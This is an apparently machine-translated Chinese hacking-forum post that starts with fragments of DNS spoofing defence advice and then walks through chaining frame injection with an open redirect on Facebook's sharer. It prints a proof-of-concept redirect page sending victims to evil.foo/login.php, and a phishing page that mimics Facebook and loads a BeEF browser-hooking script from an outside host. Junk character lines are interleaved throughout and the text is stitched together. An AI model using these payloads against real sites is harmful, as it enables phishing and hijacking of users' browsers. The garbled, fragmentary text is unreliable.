中国网络渗透测试联盟
标题:
网站框架注入漏洞到非法重定向
[打印本页]
作者:
admin
时间:
2013-3-20 21:57
标题:
网站框架注入漏洞到非法重定向
以上就是一次成功的DNS欺骗
6 t0 ~$ F! Y3 ^# Q5 `9 N2 m: i
DNS欺骗的危害是巨大的,我不说大家也都懂得,常见被利用来钓鱼、挂马之类的
7 C" {( ]* f/ d
' G. g: M9 g3 k$ S
) ^+ B, y- b3 K) j0 P6 u4 i s" {
0×02.2 DNS欺骗的防范
5 i) w, n( o3 F! \. _
* O" f, E! x M" P9 c/ H$ _; _; Z t
DNS欺骗是很难进行有效防御的,因为大多情况下都是被攻击之后才会发现,对于避免DNS欺骗所造成危害,本菜鸟提出以下建议
5 @0 \. r( f) _ }, n
1.因为DNS欺骗前提也需要ARP欺骗成功。所以首先做好对ARP欺骗攻击的防范。
6 h* \, t; k% `' {' ^$ T
2.不要依赖于DNS,尽管这样会很不方便,可以使用hosts文件来实现相同的功能,Hosts文件位置:
4 J# A' C9 Y) h2 N
windows xp/2003/vista/2008/7 系统的HOSTS文件位置 c:\windows\system32\drivers\etc 用记事本打开即可进行修改。
* N. G) x) @- K9 `! {6 N i% f
3.使用安全检测软件定期检查系统是否遭受攻击
+ U a7 E. c8 ?& m" y
4.使用DNSSEC,DNSSEC详细介绍:
http://baike.baidu.com/view/3421039.htm
c0 e% m. G, Q- b) u6 Z- S8 b
by: TaskKilL
; N$ {, Y7 m% o
# N- f/ _7 y( \, q8 P! W
Windows live 翻译框架注入
9 a2 B$ O; H* @, s5 a H
5 D8 U+ L) g! `5 H+ S
http://www.windowslivetranslator ... evil.foo/bypass.php
0 A }/ J5 Z1 B# M( T Z+ Z; }
; A M0 _6 y j- \, S
: l4 M, N- W$ A1 O. p- U) a3 b. D
0 |4 X7 }7 M$ @1 w1 }
三、重定向描述 :
% t: M8 S% g4 e) S; O& {8 Y
' M& ~ v1 R b8 p3 \4 J, o! w
6 n: V3 u' v; c: w1 Q0 p, n. v
0 w9 Q+ [" b' U" ^. m1 l6 u1 E! ?" a
重定向漏洞允许一个邪恶的用户对一个网站重定向给受害者。主要攻击媒介的这种脆弱性是pishing。只有在远程Web服务器的权限可以重定向漏洞使用恶意脚本php,javascript, vbscript ,ajax (worm)。
) v# G% l6 y& s( H& k
" m/ E9 l! A" ^9 z9 Z+ l8 g9 C+ d. s
最常见的攻击媒介是体现在双重网址中:
9 P+ z3 P9 ?5 J' W/ Z" f
z; `% b0 Q" c
http://site.com/redirect?r=http://malicious_website.com
4 W! L% M7 a, M E* h
0 c0 s+ R) a2 d( W M- Y, t }) e
" i% \6 M% s [" p
4 h& U' C C3 k) \' I
四、利用方式,结合重定向框架注入vulnz:
; d. k8 X/ _- O. x6 e
2 t- Y/ A6 X! R* A
" j2 C5 F/ U7 x# _' K \9 H# E) O( e
S" O4 r9 O) m. ]0 d1 t
先进的重定向和框架注入组合攻击:
$ ~( i0 T D; Y; g$ `# f
: e* F: ^: G- g
/-----------/ /-----------/ /-----------/ /-----------/ /-----------/
7 O) l! W0 F; \( a% N7 v
* X4 s0 }9 Z5 \9 q1 K! c. k" C
|facebook ---| google ---| bypass.php|---| login.php ---| b e e f :
- `+ o4 [' [2 e7 }
+ S! E; J: o9 q& b$ O5 z
\-----------\ \-----------\ \-----------\ \-----------\ \-----------\
; ]# D) `$ ]9 ^ n% U0 |2 _
$ b' x5 a9 u9 z5 N
Facebook的sharer.php的输入源可能看起来像这样的脚本:
7 W: [" W1 c$ d3 D, L+ m0 |
6 a1 b- d5 m2 ?" m Q
#########################################################################
8 q! W3 O' D4 j# \2 }( `, |
9 v( |# {4 P0 k; x
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN"
2 o/ o. v' |, A
# Z8 I0 U, ?4 ]- s; T- h9 N6 T
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
" }+ l; z+ s1 F( I- c& P6 q" r) o
4 u* Q9 v9 M* Y. S, T1 ?9 i2 ]; z: e
<html xmlns="http://www.w3.org/1999/xhtml">
" X i# X3 ?% W1 Z, _
. v2 C8 k$ x% q, w4 H9 n( E
<html>
9 {* Q# ~( h2 S9 K4 g( j
8 A: u) {' N$ ^2 B, U6 P
<head>
" s( t% D) r1 x9 Z
& x( G! N2 V; X+ w" d
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
" w1 }: r$ W H. d2 i, R$ B
( f1 X+ _. t1 E- s- {) s9 V& M
<title> Welcome in my-site-is-not-secure-now.w00t</title>
' S# p4 N- e9 f( q) H( r6 U
; I9 X2 E1 m1 \% b1 @ ]
</head>
" @5 }2 r. w% P/ J4 Q& |% r; @5 `
U1 `$ j9 \* N+ U
<frameset rows="*" cols="110,*" frameborder="NO" border="0" framespacing="0">
. B7 F, j+ i( ^# k" u
, l. |: `5 n2 B% b
<frame src="navigation.htm" name="navigation" frameborder="yes" scrolling=""NO"
/ ]& w" j1 G' Z- B8 Z2 ?% d" Y. Y, A
- `# n) [0 R7 K8 h# ^* k0 n9 ]
bordercolor="#0000CC" id="navigation">
7 |% g3 p: R9 U: g+ M5 H; k
3 p4 X" ~" o* S+ v. ~. q* N4 b
<frameset rows="98,*" cols="*" framespacing="0" frameborder="NO" border="0" >
9 q9 V' B. N5 B: @ G i5 a( K
0 E9 Y) t5 }0 {( m
<frame src="en_tete.htm" name="en-tete" frameborder="yes" scrolling="NO"
, D- p2 p, |& B* \6 D* q* N
5 i: g: @" B$ P- Y5 p4 [% n/ `( ]/ {
bordercolor="#000000" id="en-tete">
4 y0 [! k% N# G# o% I6 p8 e
<frame src="<?php
, F( y! m# f& Y
* f/ v/ X7 Z# R6 G: S
//secure code
: K8 \" l: A1 J: S
7 j6 ^: f: V9 A* Z2 W- K
if(isset($_GET['iframe']))
$ X% f7 c. x5 E$ B1 E
3 v1 g7 B# s; t" \: M
{
; F% B- ^; G/ {9 b, ^- G
" m) d! R! @ F9 r6 m
$allowUrls = array("http://www.google.fr/imgres?imgurl=http://fake_url&imgrefurl=http://evil.foo/bypass.php");
4 m/ N0 K) s- a: Y, E
+ w) ?9 Z3 Q6 F- X! l* Y
if(in_array($_GET['iframe'], $allowUrls))
: |5 c& V+ V- X( G. ~; D
) k8 @8 K( B _: L
echo $_GET['iframe']; // 如果IFRAME中允许有一个网址
/ x! c1 x; b4 _! N
; }, G4 T# o, h. N6 Y9 |4 p" t9 Y
else // 为了显示主页(或一个错误页面)
; x0 I i+ J$ s9 y" D: w
* H6 }7 N: o% q5 x/ E
echo "accueil.htm";
$ l7 f+ A5 M& D; w' V0 o. S
4 c3 M1 A8 i! m1 W
}
5 N% ^, s* X D: G; J. w3 M8 t
0 p/ ^) Q5 t5 v" b7 P, w' Q
else // !!!
! ^+ u- q) [6 X1 T% M. s
5 O9 d' V4 W& m1 a! x
echo "accueil.htm";
8 E8 L" `; |7 X. O) S, g* J
# H( a2 g" G9 J
?>" name="corps" scrolling="auto" id="corps">
# S3 F, C$ I4 Q& `
# [2 k" I2 g- O8 a# @7 H2 q, N
</frameset>
+ f2 Q" k* `5 ^2 C
% M, @) P3 }6 U9 r3 |; E6 X
</frameset><noframes>No frames
</noframes>
1 R* y5 [/ w# k" r5 i1 e& r
4 A2 r S* j8 I# e9 o& p0 [
</html>
l! V' v% Z" y& i3 B E
% R; J8 ]) X& m- N# B
#########################################################################
, m" |: c. H$ i3 C% v7 e. x
, A) ^3 N+ }+ @; j* t
在Facebook中变换恶意网址链接像这样(sharer.php script):
0 S6 J: U$ a0 @ y* n; F; h, d; P
8 R% }3 I7 h# Z Q5 c. W
http://www.facebook.com/ext/shar ... p;h=Crew&u=p3lo
$ g0 k. Y9 A9 f
7 u- V& y) I- S' h/ S. y
和上面的链接Facebook的概况出现像这样:
1 w7 m1 d, \$ L& N* ?: {% A
. J3 Q. q( F4 J6 o6 P
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Y( Y" o& \) L$ ^5 N
" Q, Z2 q$ P$ E8 d1 z, D+ h
图片搜索结果
1 W7 V" h& T# n1 {+ a' \5 p1 ?
. l& ?3 u4 A, I% C1 K# A# k# f
http://www.google.fr/imgres?imgurl=http://fake_url...
& K' O: `# X9 }* p
- e+ y* l* Y4 { `% i' ]; A! a- [
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
! S9 s- U1 G& Y2 i* d ^
5 J# x& _3 k# u2 H
现在来看看我的成批输出转换程序(PoC)重定向脚本(bypass.php):
2 W8 M& Y+ ` }' y+ Y" m/ v) Y3 v: T
$ W& R' ?8 R5 _9 f9 N( M
###########################################################################
+ |5 m' G, X: ]* @4 y0 h$ }: }
8 b( F$ |7 @" j
<head>
: g3 y- S' `8 J' n
% v# x( H2 |1 ^. D
<meta http-equiv="Content-Language" content="it">
0 L( j' p+ |2 y5 e# L
, ~$ y( Z) l3 u3 e9 J6 \
<SCRIPT LANGUAGE="JavaScript">
% }- A. k& Y1 p( y* Q
1 y0 D* W2 |1 N
if (top.frames.length!=0) top.location=self.document.location;
& u0 `6 u1 H: Y2 t0 |( }4 d8 W
' j9 }; e6 _7 ?+ m& v/ V' Y- \
</SCRIPT>
1 \1 I6 S# H3 g; z8 L
* r' q# B# a) D% x0 s
<title>fb redirector PoC by Czy</title>
( m' L$ u- J% _" d& I" k
3 ?8 E" A4 }2 _' P; x8 i. F
</head>
. Y* k8 N* T) I" c8 ~
+ `0 O1 m% _1 ?
<body bgcolor="#99FF66">
6 C3 H9 @, C) I
5 W- p& {, y+ W; F1 E
第一个脚本包含在head,允许杀死第一个框架的有效载荷,URL重定向到self.document.location。
7 Q( ^% r: o. }% w. E& g
第二个脚本允许重定向我的网页上,以先进的pishing页面。
$ r1 _5 q6 O# `" F, ?5 m$ u
' J0 g/ t, r" h$ c: J
<br>
% w. R0 F$ t# l5 x# ^+ T4 h
+ p- }. U$ e$ _ s" T5 f
<br><br>
) G3 L5 a2 A, e+ P+ A
2 E; _7 {: V* \& }
</body>
% I0 k- |+ G! r) {) C9 m! N/ k0 ]
8 _ n/ D- M4 ]& {
<br><br><script>document.location="http://evil.foo/login.php";</script><br>
1 Y! {+ ^1 p0 Q4 h- I) h
6 i& F, Y# ]) M# j
###############################################################################
! z' P' o, @8 ]; m: H; u1 ?" z
& `8 x6 z; u; \+ l8 S' Q
这是先进重定向pishing页面的来源 (login.php):
4 Z! h* C$ @9 \4 y9 @
) t/ S( U) s! N: ^8 \2 n
###############################################################################
# K) @# g! m% Q) b$ c
N2 w( E6 o9 T0 w' S
<?php
- Y; J2 H; b3 _
$ G. w$ @! ~- }" Y/ r
//by Czy
& y0 T/ C }1 w( ?
: K) N' B7 C! s) o) ^7 W- R
$referer=”
http://www.facebook.com/
”;
# O2 z1 r: F5 J% S" X2 G$ a& y
' u' m. h- s; B4 L- I: u- r& T
// spoofing FireFox 2.0
! i; I7 a; @9 t( Y: C+ A
" w, G2 o ~4 m2 u5 C
$useragent=”Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1?;
- M1 O) F% ]- L! @6 k8 V
# y% `# @2 J( m" K5 G
$ch = curl_init();
6 t" g1 t7 s, E' b" Z
' R( e* I7 ]3 {$ ~/ a3 _8 a, N) H& V
curl_setopt ($ch, CURLOPT_URL, "http://www.facebook.com/");
+ d' w0 g6 X6 d/ D; Q4 d: S
9 d$ u( J4 l. y+ }
curl_setopt ($ch, CURLOPT_HEADER, 0);
' s9 j" S2 n2 E4 s N& z H
. p0 ^2 l/ i( x7 c' D$ H3 p
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
" M$ J) r9 a' a8 z3 {. A
* }( c; U( B5 s9 r1 r
curl_setopt($ch, CURLOPT_REFERER, $referer);
( y* N$ Q1 B3 O+ m; D" w) Q
3 w* j2 m3 {4 }$ x3 \8 |
curl_exec ($ch);
& J$ t# T- U+ m6 T' ^( Y! g
) d$ { g) D4 m4 o. c* b8 A
curl_close ($ch);
6 I. D, |% v% r, L; |3 z3 Q, _6 ~
# C; V1 i7 x" m" E
?>
3 R" @1 Q" r( `6 D
}! O: c- A1 a3 }3 ~, @& ]0 ?
<script src=”http://beefsite/beef/hook/beefmagic.js.php”></script>
. b+ M; F9 m1 f3 x+ a
) Y2 h5 j. _) ^4 n
###############################################################################
/ Q+ v. W4 W9 W" S
0 F; ?# v6 r+ @- f7 |) B, q
五、尾声:
( M+ B, t, E. e% g
4 L# i4 ^* j" j
经过长期时刻的研究,个人认为最好的方式来纠正这些漏洞是保证用户离开该网页和网站域名的重定向页面。
/ h( A* @* }! h. _- O
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2